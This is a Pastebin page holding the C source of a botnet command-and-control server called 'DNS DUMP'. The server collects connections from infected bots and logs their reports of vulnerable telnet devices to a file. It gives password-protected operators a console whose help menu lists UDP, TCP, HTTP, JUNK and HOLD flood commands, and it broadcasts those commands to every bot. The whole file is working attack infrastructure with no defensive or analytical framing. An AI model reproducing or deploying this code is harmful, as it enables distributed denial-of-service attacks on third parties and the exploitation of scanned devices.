Guest User

DNS DUMP.c

a guest
Jun 29th, 2016
41
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.94 KB | None | 0 0
  1.  
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netdb.h>
  8. #include <unistd.h>
  9. #include <time.h>
  10. #include <fcntl.h>
  11. #include <sys/epoll.h>
  12. #include <errno.h>
  13. #include <pthread.h>
  14. #include <signal.h>
  15.  
  16. ////////////////////////////////////
  17. #define MY_MGM_PORT 63
  18. #define MAXFDS 1000000
  19. ////////////////////////////////////
  20.  
  21.  
  22. struct account {
  23. char id[20];
  24. char password[20];
  25. };
  26. static struct account accounts[10];
  27.  
  28. struct clientdata_t {
  29. uint32_t ip;
  30. char build[7];
  31. char connected;
  32. } clients[MAXFDS];
  33.  
  34. struct telnetdata_t {
  35. int connected;
  36. } managements[MAXFDS];
  37.  
  38.  
  39.  
  40. ////////////////////////////////////
  41.  
  42.  
  43. static volatile FILE *telFD;
  44. static volatile FILE *fileFD;
  45. static volatile int epollFD = 0;
  46. static volatile int listenFD = 0;
  47. static volatile int managesConnected = 0;
  48. static volatile int TELFound = 0;
  49. static volatile int scannerreport;
  50.  
  51.  
  52. ////////////////////////////////////
  53.  
  54.  
  55. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  56. {
  57. int total = 0, got = 1;
  58. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  59. return got;
  60. }
  61. void trim(char *str)
  62. {
  63. int i;
  64. int begin = 0;
  65. int end = strlen(str) - 1;
  66. while (isspace(str[begin])) begin++;
  67. while ((end >= begin) && isspace(str[end])) end--;
  68. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  69. str[i - begin] = '\0';
  70. }
  71.  
  72.  
  73. static int make_socket_non_blocking (int sfd)
  74. {
  75. int flags, s;
  76. flags = fcntl (sfd, F_GETFL, 0);
  77. if (flags == -1)
  78. {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. flags |= O_NONBLOCK;
  83. s = fcntl (sfd, F_SETFL, flags);
  84. if (s == -1)
  85. {
  86. perror ("fcntl");
  87. return -1;
  88. }
  89. return 0;
  90. }
  91.  
  92.  
  93. static int create_and_bind (char *port)
  94. {
  95. struct addrinfo hints;
  96. struct addrinfo *result, *rp;
  97. int s, sfd;
  98. memset (&hints, 0, sizeof (struct addrinfo));
  99. hints.ai_family = AF_UNSPEC;
  100. hints.ai_socktype = SOCK_STREAM;
  101. hints.ai_flags = AI_PASSIVE;
  102. s = getaddrinfo (NULL, port, &hints, &result);
  103. if (s != 0)
  104. {
  105. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  106. return -1;
  107. }
  108. for (rp = result; rp != NULL; rp = rp->ai_next)
  109. {
  110. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  111. if (sfd == -1) continue;
  112. int yes = 1;
  113. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  114. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  115. if (s == 0)
  116. {
  117. break;
  118. }
  119. close (sfd);
  120. }
  121. if (rp == NULL)
  122. {
  123. fprintf (stderr, "Could not bind\n");
  124. return -1;
  125. }
  126. freeaddrinfo (result);
  127. return sfd;
  128. }
  129. void broadcast(char *msg, int us)
  130. {
  131. int sendMGM = 1;
  132. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  133. char *wot = malloc(strlen(msg) + 10);
  134. memset(wot, 0, strlen(msg) + 10);
  135. strcpy(wot, msg);
  136. trim(wot);
  137. time_t rawtime;
  138. struct tm * timeinfo;
  139. time(&rawtime);
  140. timeinfo = localtime(&rawtime);
  141. char *timestamp = asctime(timeinfo);
  142. trim(timestamp);
  143. int i;
  144. for(i = 0; i < MAXFDS; i++)
  145. {
  146. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  147. if(sendMGM && managements[i].connected)
  148. {
  149. send(i, "\x1b[37m", 5, MSG_NOSIGNAL);
  150. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  151. send(i, ": ", 2, MSG_NOSIGNAL);
  152. }
  153. printf("sent to fd: %d\n", i);
  154. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  155. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m> \x1b[0m", 13, MSG_NOSIGNAL);
  156. else send(i, "\n", 1, MSG_NOSIGNAL);
  157. }
  158. free(wot);
  159. }
  160.  
  161. void *epollEventLoop(void *useless)
  162. {
  163. struct epoll_event event;
  164. struct epoll_event *events;
  165. int s;
  166. events = calloc (MAXFDS, sizeof event);
  167. while (1)
  168. {
  169. int n, i;
  170. n = epoll_wait (epollFD, events, MAXFDS, -1);
  171. for (i = 0; i < n; i++)
  172. {
  173. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  174. {
  175. clients[events[i].data.fd].connected = 0;
  176. close(events[i].data.fd);
  177. continue;
  178. }
  179. else if (listenFD == events[i].data.fd)
  180. {
  181. while (1)
  182. {
  183. struct sockaddr in_addr;
  184. socklen_t in_len;
  185. int infd, ipIndex;
  186.  
  187. in_len = sizeof in_addr;
  188. infd = accept (listenFD, &in_addr, &in_len);
  189. if (infd == -1)
  190. {
  191. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  192. else
  193. {
  194. perror ("accept");
  195. break;
  196. }
  197. }
  198.  
  199. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  200.  
  201. int dup = 0;
  202. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  203. {
  204. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  205.  
  206. if(clients[ipIndex].ip == clients[infd].ip)
  207. {
  208. dup = 1;
  209. break;
  210. }
  211. }
  212.  
  213. if(dup)
  214. {
  215. printf("DUP Client - Terminating\n");
  216. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  217. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  218. close(infd);
  219. continue;
  220. }
  221.  
  222. s = make_socket_non_blocking (infd);
  223. if (s == -1) { close(infd); break; }
  224.  
  225. event.data.fd = infd;
  226. event.events = EPOLLIN | EPOLLET;
  227. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  228. if (s == -1)
  229. {
  230. perror ("epoll_ctl");
  231. close(infd);
  232. break;
  233. }
  234.  
  235. clients[infd].connected = 1;
  236. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  237. }
  238. continue;
  239. }
  240. else
  241. {
  242. int thefd = events[i].data.fd;
  243. struct clientdata_t *client = &(clients[thefd]);
  244. int done = 0;
  245. client->connected = 1;
  246. while (1)
  247. {
  248. ssize_t count;
  249. char buf[2048];
  250. memset(buf, 0, sizeof buf);
  251.  
  252. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  253. {
  254. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  255. trim(buf);
  256. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  257. {
  258. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  259. continue;
  260. }
  261. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  262. {
  263. char *line = strstr(buf, "REPORT ") + 7;
  264. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  265. fflush(telFD);
  266. TELFound++;
  267. continue;
  268. }
  269. if(strstr(buf, "SCANNER STARTED!") == buf)
  270. {
  271. char *line = strstr(buf, "SCANNER STARTED!");
  272. scannerreport = 1;
  273. continue;
  274. }
  275. if(strstr(buf, "SCANNER STOPPED!") == buf)
  276. {
  277. char *line = strstr(buf, "SCANNER STOPPED!");
  278. scannerreport--;
  279. continue;
  280. }
  281. if(strcmp(buf, "PONG") == 0)
  282. {
  283. continue;
  284. }
  285.  
  286. printf("buf: \"%s\"\n", buf);
  287. }
  288.  
  289. if (count == -1)
  290. {
  291. if (errno != EAGAIN)
  292. {
  293. done = 1;
  294. }
  295. break;
  296. }
  297. else if (count == 0)
  298. {
  299. done = 1;
  300. break;
  301. }
  302. }
  303.  
  304. if (done)
  305. {
  306. client->connected = 0;
  307. close(thefd);
  308. }
  309. }
  310. }
  311. }
  312. }
  313.  
  314. unsigned int clientsConnected()
  315. {
  316. int i = 0, total = 0;
  317. for(i = 0; i < MAXFDS; i++)
  318. {
  319. if(!clients[i].connected) continue;
  320. total++;
  321. }
  322.  
  323. return total;
  324. }
  325.  
  326. void *titleWriter(void *sock)
  327. {
  328. int thefd = (int)sock;
  329. char string[2048];
  330. while(1)
  331. {
  332. memset(string, 0, 2048);
  333. sprintf(string, "%c]0;Bots connected: %d | Crackerz connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  334. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  335.  
  336. sleep(2);
  337. }
  338. }
  339.  
  340. int Search_in_File(char *str)
  341. {
  342. FILE *fp;
  343. int line_num = 0;
  344. int find_result = 0, find_line=0;
  345. char temp[512];
  346.  
  347. if((fp = fopen("login.txt", "r")) == NULL){
  348. return(-1);
  349. }
  350. while(fgets(temp, 512, fp) != NULL){
  351. if((strstr(temp, str)) != NULL){
  352. find_result++;
  353. find_line = line_num;
  354. }
  355. line_num++;
  356. }
  357. if(fp)
  358. fclose(fp);
  359.  
  360. if(find_result == 0)return 0;
  361.  
  362. return find_line;
  363. }
  364.  
  365. void *telnetWorker(void *sock)
  366. {
  367. int thefd = (int)sock;
  368. int find_line;
  369. managesConnected++;
  370. pthread_t title;
  371. char counter[2048];
  372. memset(counter, 0, 2048);
  373. char buf[2048];
  374. char* nickstring;
  375. char* username;
  376. char* password;
  377. memset(buf, 0, sizeof buf);
  378. char botnet[2048];
  379. memset(botnet, 0, 2048);
  380.  
  381. FILE *fp;
  382. int i=0;
  383. int c;
  384. fp=fopen("login.txt", "r"); // format: user pass
  385. while(!feof(fp))
  386. {
  387. c=fgetc(fp);
  388. ++i;
  389. }
  390. int j=0;
  391. rewind(fp);
  392. while(j!=i-1)
  393. {
  394. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  395. ++j;
  396. }
  397.  
  398. if(send(thefd, "\x1b[31mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  399. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  400. trim(buf);
  401. nickstring = ("%s", buf);
  402. find_line = Search_in_File(nickstring);
  403. if(strcmp(nickstring, accounts[find_line].id) == 0){
  404. if(send(thefd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  405. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  406. trim(buf);
  407. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  408. memset(buf, 0, 2048);
  409. goto fak;
  410. }
  411. failed:
  412. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  413. if(send(thefd, "\x1b[32m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  414. if(send(thefd, "\x1b[32m* IP LOGGED CRACKER *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  415. if(send(thefd, "\x1b[32m* YOUR SCREWED, IM COMMING AFTER YOU *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  416. if(send(thefd, "\x1b[32m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  417. sleep(5);
  418. goto end;
  419. fak:
  420. pthread_create(&title, NULL, &titleWriter, sock);
  421. if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  422. if(send(thefd, "\x1b[31m* Welcome To DNS.DUMPs NET! *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  423. if(send(thefd, "\x1b[31m* Made By: DNS.DUMP *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  424. if(send(thefd, "\x1b[31m* Type //HELP For Commands! *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  425. if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  426. pthread_create(&title, NULL, &titleWriter, sock);
  427. managements[thefd].connected = 1;
  428.  
  429. while(fdgets(buf, sizeof buf, thefd) > 0)
  430. {
  431. if(strstr(buf, "//HELP"))
  432. {
  433. sprintf(botnet, "\x1b[31m[+] Attack Commands [+]\r\n\r\n\x1b[31m~[UDP]~ !* UDP <IP> <PORT> <TIME> 32 10 10\r\n\x1b[31m~[TCP]~ !* TCP <IP> <PORT> <TIME> 32 all 10 10\r\n\x1b[31m~[HTTP]~ !* HTTP <URL> <TIME>\r\n\x1b[31m~[JUNK]~ !* JUNK <IP> <PORT> <TIME>\r\n\x1b[31m~[HOLD]~ !* HOLD <IP> <PORT> <TIME>\r\n\x1b[31m\x1b[31m~[KILLS ALL ATTACKS]~ !* KILLATTK\r\n\r\n\x1b[31m[+] Other Commands [+]\r\n\r\n\x1b[31m~[BOT COUNT]~ //BOTS\r\n~[TELNET STATUS]~ //STATUS\r\n\r\n");
  434. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  435. }
  436. if(strstr(buf, "//STATUS"))
  437. {
  438. sprintf(botnet, "TELNET devices: %d | TELNET status: %d\r\n", TELFound, scannerreport);
  439. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  440. }
  441. if(strstr(buf, "//BOTS"))
  442. {
  443. sprintf(botnet, "Bots connected: %d | Crackerz connected: %d\r\n", clientsConnected(), managesConnected);
  444. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  445. }
  446. trim(buf);
  447. if(send(thefd, "\x1b[32m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  448. if(strlen(buf) == 0) continue;
  449. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  450. FILE *logFile;
  451. logFile = fopen("server.log", "a");
  452. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  453. fclose(logFile);
  454. broadcast(buf, thefd);
  455. memset(buf, 0, 2048);
  456. }
  457.  
  458. end: // cleanup dead socket
  459. managements[thefd].connected = 0;
  460. close(thefd);
  461. managesConnected--;
  462. }
  463.  
  464. void *telnetListener(void *useless)
  465. {
  466. int sockfd, newsockfd;
  467. socklen_t clilen;
  468. struct sockaddr_in serv_addr, cli_addr;
  469. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  470. if (sockfd < 0) perror("ERROR opening socket");
  471. bzero((char *) &serv_addr, sizeof(serv_addr));
  472. serv_addr.sin_family = AF_INET;
  473. serv_addr.sin_addr.s_addr = INADDR_ANY;
  474. serv_addr.sin_port = htons(MY_MGM_PORT);
  475. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  476. listen(sockfd,5);
  477. clilen = sizeof(cli_addr);
  478. while(1)
  479. {
  480. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  481. if (newsockfd < 0) perror("ERROR on accept");
  482. pthread_t thread;
  483. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  484. }
  485. }
  486.  
  487. int main (int argc, char *argv[], void *sock)
  488. {
  489. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  490.  
  491. int s, threads;
  492. struct epoll_event event;
  493.  
  494. if (argc != 3)
  495. {
  496. fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  497. exit (EXIT_FAILURE);
  498. }
  499. telFD = fopen("telnet.txt", "a+");
  500. threads = atoi(argv[2]);
  501.  
  502. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  503. if (listenFD == -1) abort ();
  504.  
  505. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  506. if (s == -1) abort ();
  507.  
  508. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  509. if (s == -1)
  510. {
  511. perror ("listen");
  512. abort ();
  513. }
  514.  
  515. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  516. if (epollFD == -1)
  517. {
  518. perror ("epoll_create");
  519. abort ();
  520. }
  521.  
  522. event.data.fd = listenFD;
  523. event.events = EPOLLIN | EPOLLET;
  524. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  525. if (s == -1)
  526. {
  527. perror ("epoll_ctl");
  528. abort ();
  529. }
  530.  
  531. pthread_t thread[threads + 2];
  532. while(threads--)
  533. {
  534. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  535. }
  536.  
  537. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  538.  
  539. while(1)
  540. {
  541. broadcast("PING", -1); // ping bots every 60 sec on the main thread
  542. sleep(60);
  543. }
  544.  
  545. close (listenFD);
  546.  
  547. return EXIT_SUCCESS;
  548. }
Add Comment
Please, Sign In to add comment